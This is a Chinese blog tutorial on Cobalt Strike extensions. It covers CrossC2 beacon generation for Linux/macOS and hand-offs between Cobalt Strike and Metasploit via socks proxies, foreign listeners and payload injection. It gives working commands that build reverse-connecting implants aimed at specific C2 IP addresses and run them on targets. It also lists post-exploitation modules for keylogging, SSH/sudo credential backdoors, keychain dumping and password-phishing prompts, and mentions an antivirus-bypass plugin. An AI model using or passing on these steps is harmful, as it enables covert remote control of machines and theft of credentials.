04.渗透测试框架之拓展应用
本文最后更新于505 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、CobaltStrike 扩展脚本

1.扩展脚本简介

扩展是 Cobaltstrike 一个极为重要的模块,它有效地丰富了 Cobaltstrike 的功能
选择菜单栏的 CobaltStrike > Script Manager(脚本管理器),点击 Load(加载),然后选择要使用的 .cna 扩展文件即可

2.常用扩展脚本插件

  • 后渗透插件-梼杌
  • 免杀插件-bypassAV
  • 上线linux主机-CrossC2

二、CS 上线 Linux 主机

1.CrossC2 介绍

Cross C2 项目是一个可以生成 Linux/Mac OS 的 Cobaltstrike beacon payload 的跨平台项目

  • Linux & MacOS 支持无文件落地从内存中加载执行动态库或可执行文件
  • 灵活自定义执行文件的数据返回类型,端口扫描,屏幕截图,键盘记录,口令凭证等用户自定义开 发实现更便捷
  • 自定义通信协议
  • 支持横向移动
  • 支持从内存加载脚本
  • Android & iPhone 支持

2.CrossC2 使用

1)创建 Listener

首先创建Listener监听器 windows/beacon_https/reverse_https

QQ_1738245238871.png

2)下载 beacon_keys 文件

使用命令

ls -lha

显示隐藏文件

QQ_1738245585328.png

然后下载teamserver目录下的 .cobaltstrike.beacon_keys 文件到本地客户端启动目录
如果在远程连接工具中无法下载,可以使用python的http服务下载

3)添加 CNA 扩展脚本

  • 选择 Script Manager,添加 CrossC2.cna
  • 打开下载的 CrossC2Kit 文件夹,添加 CrossC2Kit.cna、CrossC2Kit_Loader.cna , 包含内存加载等其它扩展功能
  • 如果成功安装,菜单栏会多出一项 CrossC2
    QQ_1738245836703.png

4)生成 Beacon

默认使用 cli 或 cna 提供的 GUI 功能生成 beacon

(1)GUI 生成木马

CrossC2 > Create CrossC2 Listener > Create reverse HTTPS Listener

QQ_1738246111784.png

QQ_1738304960107.png

不知道为什么tcp的payload没有Beacon回连

(2)Cli 生成木马(命令行)

# 命令格式
./genCrossC2.Win.exe C2的IP地址 C2监听的端口 .cobaltstrike.beacon_keys文件所在路径 null Linux 生成payload的架构 payload名称

# 命令示例
./genCrossC2.Win.exe 124.71.45.28 443 D:\MyTools\CobaltStrike\cs4.5\.cobaltstrike.beacon_keys null Linux x64 cc2-test

Linux 及 MacOS 上生成木马命令同上

  • 生成反向Payload
# 命令示例
./genCrossC2.Linux 139.155.49.43 444 .cobaltstrike.beacon_keys null Linux x64 c444

# 命令解释
139.155.49.43:CS https_listener 监听器IP
444:CS https_listener 监听器端口
.cobaltstrike.beacon_keys:CS服务端Beacon key文件
null:不选择动态库
Linux:运行平台为Linux(MacOS / Linux / MacOS-bind / Linux-bind)
x64:64位系统(x86 / x64)
c444:payload文件名
  • 生成正向Payload
# 命令示例
./genCrossC2.Linux 127.0.0.1 4444 .cobaltstrike.beacon_keys null Linux-bind x64 cc

5)运行 Beacon

  • 在目标上运行 CrossC2 插件生成的一键上线脚本
  • 上传 beacon 至目标机器后进行赋权运行
chmod +x cc2.out

./cc2.out

QQ_1738247905523.png

注意:cs启动时不需要使用c2.4.9.profile ,否则无法返回Beacon

3.CrossC2 基本使用

Command                   Description
    -------                   -----------
    !                         从历史记录中运行命令
    bash                      CrossC2 Bash脚本-在内存中运行脚本
    cancel                    取消正在进行的下载
    cat                       显示文件的内容
    cc2_auth                  CrossC2 身份验证rootkit - 获取身份验证操作的密码(sshd/sudo/su/passwd…)
    cc2_frp                   CrossC2 frp代理 - 启动Linux/MacOS SOCKS5代理{TCP/KCP(UDP)}
    cc2_iMessage_dump         CrossC2 iMessage转储-从iMessage转储消息。
    cc2_inject                CrossC2 进程注入
    cc2_job                   CrossC2 joblist - 管理正在运行的任务
    cc2_keychain_dump         CrossC2 Keychain转储(root)- 从Keychain中转储登录用户名和密码
    cc2_keylogger             CrossC2 键盘记录器 - 收听用户从键盘输入的字符串。
    cc2_mimipenguin           CrossC2 mimipenguin - 从当前linux桌面转储登录密码
    cc2_prompt_spoof          CrossC2 prompt_spoof -(AppStore)界面弹出,提示用户输入密码,窃取输入的密码
    cc2_safari_dump           CrossC2 safari转储 - 从safari中转储浏览器历史记录(默认值为500)。
    cc2_script                CrossC2 Script - 在内存中运行脚本
    cc2_shellcode             CrossC2 运行shellcode
    cc2_ssh                   CrossC2 SSH rootkit - 获取SSH的密码以登录到其他目标。
    cd                        切换目录
    clear                     清除任务队列
    connect                   通过TCP连接到Beacon
    download                  下载文件
    downloads                 列出正在进行的文件下载
    exit                      终止此会话
    getsystem                 将uid=0临时权限的会话升级为根会话
    head                      打印文件的前10行
    help                      帮助菜单
    history                   显示命令历史记录
    note                      为此会话分配备注       
    perl                      CrossC2 Perl脚本 - 在内存中运行脚本
    php                       CrossC2 PHP脚本 - 在内存中运行脚本
    pwd                       打印当前目录
    python                    CrossC2 Python脚本 - 在内存中运行脚本
    python-import             aaa

    rportfwd                  设置反向端口转发
    rportfwd_local            通过Cobalt Strike客户端设置反向端口
    ruby                      CrossC2 Ruby脚本 - 在内存中运行脚本
    setenv                    设置会话的环境变量
    shell                     通过shell执行命令
    sleep                     设置父信标的睡眠时间
    socks                     启动SOCKS4a服务器以中继流量
    socks stop                停止SOCKS4a服务器
    spawn                     生成新会话
    sudo                      通过sudo运行命令
    tail                      打印文件的最后10行
    unlink                    断开子TCP的Beacon会话
    upload                    上传文件
密码dump模块:cc2_mimipenguin 采用开源项目 MimiPenguin2.0,参见 CrossC2Kit/mimipenguin/mimipenguin.cna
认证后门模块:cc2_auth, cc2_ssh sudo/su/passwd等认证后门,ssh被连接及连接其他主机的凭证都将被记录。
信息收集模块:cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump 常见浏览器的访问记录,以及iMessage聊天内容与钥匙串中保存的认证凭据都将被获取。
流量代理模块:cc2_frp 支持快速TCP/KCP(UDP)的反向socks5加密流量代理。
键盘记录模块:cc2_keylogger 记录用户的键盘输入。
网络探测模块:cc2_portscan, cc2_serverscan 进行端口扫描及服务版本扫描。
权限提升模块:cc2_prompt_spoof 诱导欺骗获取用户账户密码。
任务管理模块:cc2_job 管理内存中运行的模块。

三、CS联动MSF

CS和MSF各有所长,CS 更适合作为稳定控制平台, MSF 更适用于与各类内网信息搜集及漏洞利用。为了取长补短,我们可以进行联动。

1.方法一:CS的socks代理

通过 CS 内置 socks 代理将本地 MSF 带入目标内网执行操作

思路:利用 beacon shell 在目标机器和团队服务器之间建立 socks ,而后再在本地通过 proxychains 之类的代理工具连到目标内网即可。

1)CS 启动 Socks 代理

QQ_1738309409277.png

2)使用 proxychains 代理

本地 kali 或者vps编辑 /etc/proxychains4.conf 文件,添加 TeamServer 服务器 ip (本地是127.0.0.1)和 socks 端口,就可以直接连到目标内网(类型为 socks5)

# 编辑proxychains配置文件
vim /etc/proxychains4.conf

# 写入代理地址及端口
socks5 124.71.45.28 6677

QQ_1738314355119.png

使用命令

proxychains4 curl 127.0.0.1:8000

会访问到开启socks的靶机

QQ_1738314420213.png

QQ_1738314545285.png

3)MSF 设置代理

让本地 MSF 所有模块的流量都从 CS 的 socks5 代理走

QQ_1738314766505.png

QQ_1738314798636.png

打开 MSF,执行全局代理设置命令,即可让本地 MSF 所有模块的流量都走 CS 的 socks 代理

2.方法二:CS外部监听器

1)CS 上创建一个 http 的外部监听器(Foreign HTTP)

IP为开启msf服务的

QQ_1738315092688.png

2)MSF 开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost (内部ip或者0.0.0.0)
set lport 803
run

3)回到 CS 上,在会话处右键,选择Access,选择 spawn

QQ_1738316389707.png

4)MSF 得到 meterpreter

QQ_1738316458566.png

四、MSF联动CS

1.在 CS 开启一个监听(Beacon HTTP)

2.用msfvenom生成木马

QQ_1738327663587.png

3.MSF 监听会话

使用命令

handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 6677

会在后台实现监听,执行木马得到 session 会话

QQ_1738327497773.png

4.MSF 上执行 payload 注入模块

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 124.71.45.28      #cobaltstrike监听的ip
set lport 801               #cobaltstrike监听的端口
set session 1               #这里是获得的session的id
run

DisablePayloadHandler 默认为 false,即 payload_inject 模块执行之后会在本地生成一个新 的 handler 监听器,由于设置执行的 payload 是去连接 Cobaltstrike 的监听器,所以这里我们设 置为 true,让它不再生成新的 handler 监听器

QQ_1738328240738.png

QQ_1738328272398.png

默认注入notepad.exe进程中

5.进行其他进程注入

sessions   列出会话
sessions 3 进入会话3
ps         查看进程pid
background 将会话放入后台

QQ_1738328587233.png

设置进程PID

set pid 1664

QQ_1738328800020.png

成功将shellcode注入目标进程获得会话

QQ_1738328892344.png

或者使用cs的process list进行注入

QQ_1738329402894.png

注意:shellcode是注入到进程的内存空间中,进程被终止,那么内存数据全部丢失

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇